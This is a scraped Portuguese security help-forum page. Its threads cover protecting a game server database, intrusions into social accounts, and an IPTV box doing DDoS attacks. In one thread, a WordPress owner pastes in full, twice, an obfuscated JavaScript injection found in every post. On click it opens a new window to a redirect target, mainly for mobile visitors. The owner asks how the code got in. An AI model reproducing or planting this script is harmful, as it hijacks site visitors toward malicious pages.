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Daniel Francisco

Proteger uma tabela na DB

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Oi pessoal, tudo bem?

Queria saber se há alguma forma de proteger um banco de dados completo

ou principalmente uma tabela, no caso onde fica os cadastro dos jogadores ( do jogo)..

e que eu e meu pai fizermos um serve privado de um jogo pra se divertir mais tem mt gente que vive atrapalhando :sweat:

queria saber alguma maneira de proteger e evitar isso..

por favor me ajudem? 

 

 

desde já agradeço 
um abração

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@Daniel,

você ter uma criptografia dentro do seu DB, mas se o usuario for sysadmin, ele tera acesso a estas informacoes,

Se precisa proteger as informações, tente restringir o acesso a elas

 

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@A.Jr,

obrigado pela resposta meu amigo.

andei dando uma pesquisada é vou fazer isso.. mais poderia só tirar uma duvida?

eu criptografando minhas tabelas é banco de dados, etc.. mais só vai proteger de roubar os dados?

ou também de terem acesso, ou deletar as tabelas? que e meu caso :/  ?

eu alterei a senha padrão do SQL já, e o cadastro do site não possui injeção..

 

 

obrigado mais uma vez meu amigo.. 

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São duas coisas distintas:

1 - Acesso a dados: Qq usuario com acesso a leituraa/escrita no banco podera ver os dados e manipular se for o caso;

2 - Criptografia de dados: deste modo, se você der um "select" nas tabelas, as informações serao exibidas embaralhadas.

 

No seu caso, como é um jogo, você tem que tomar alguns cuidados,,, nao somente criptografia,,, mas isso depende mto da estrutura do jogo,,,, conexao com a base, entre outros fatores,,,,

 

 

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_0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 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)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());</script>  
      Por favor, alguém sabe como esse código pode ter sido inserido por um invasor para que eu possa fechar a possível brecha no código?
      O site foi desenvolvido utilizano wordpress.
      Desde já agradeço a todos que puderem ou tentarem me ajudar a descobrir o que pode ter acontecido.
    • Por Chirlison
      Estou com um problema no site e gostaria da ajuda dos colegas para poder solucionar a possível brecha de segurança no site.
      Todas as postagens do site apareceram com um código estranho no final de cada uma delas.
      O código é mostrado apenas dentro do editor classic do wordpress. Na página onde o post é listado o código não é mostrado
      Abaixo segue o código inserido no final de cada uma das postagens do site.
       
      <script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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_0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const 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_0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());</script>  
      Por favor, alguém sabe como esse código pode ter sido inserido por um invasor para que eu possa fechar a possível brecha no código?
      O site foi desenvolvido utilizano wordpress.
      Desde já agradeço a todos que puderem ou tentarem me ajudar a descobrir o que pode ter acontecido.
    • Por DrLeandro
      Pessoal eu tive um problema tempos atrás em que meu PC simplesmente parou de funcionar travou tudo...quando fui acessar minhas conta do instagram...aparecia 1 acesso de um de um lugar q nem sei onde é (segue a foto), Meu Pc não ligava, após retirar todas as peças, limpar com limpa contato e dar 1 clear CMOS, voltou a vida aparecendo 1 erro no Hardware sentinel "Ocorreram problemas entre a comunicação do disco e o host 122 vezes. (foto), pois bem a novidade agora é que estão entrando no meu telegram e ainda por cima tem minha mulher que acessa também eu instagram, gostaria de saber se tem como fazer uma verificação tanto no meu celular quanto no meu PC onde está essa brecha, pois não acesso a links estranhos e anda acontecendo isso...OBS.: não consegui fazer a verificação em 2 etapas do site, o código sempre dá erro...
       
      1ª invasão 

       

       

       
      2ª invasão 
       

       

    • Por André Severino
      Olá boa tarde a todos,
       
      No ano passado (jun/21) a Anatel publicou uma nota dizendo que alguns analistas encontraram um malware em um aparelho IPTV, o aparelho em questão é o HTV.
       
      Em abril/21 eu comprei um de presente para meus pais e recentemente troquei meu roteador e ele começou a bloquear o aparelho porque ele está fazendo ataques DDOS de dentro da rede. (foi quando descobri esse artigo da anatel)
       
      Atualmente deixei o aparelho um roteador exclusivo para ele com outra faixa de IP na rede, para tentar evitar a captura dos dados do roteador principal, será que isso é suficiente ou não tem nada haver? 
       
      Enfim alguém sabe como faço para descobrir essa porta que ele usa ? Como posso bloquear isso ?
       
      Obs.: não sou a favor da pirataria muito pelo contrário, mas meu pai já usava um aparelho via satélite com o uso de duas antenas, só melhorei o equipamento dele por gratidão :D 
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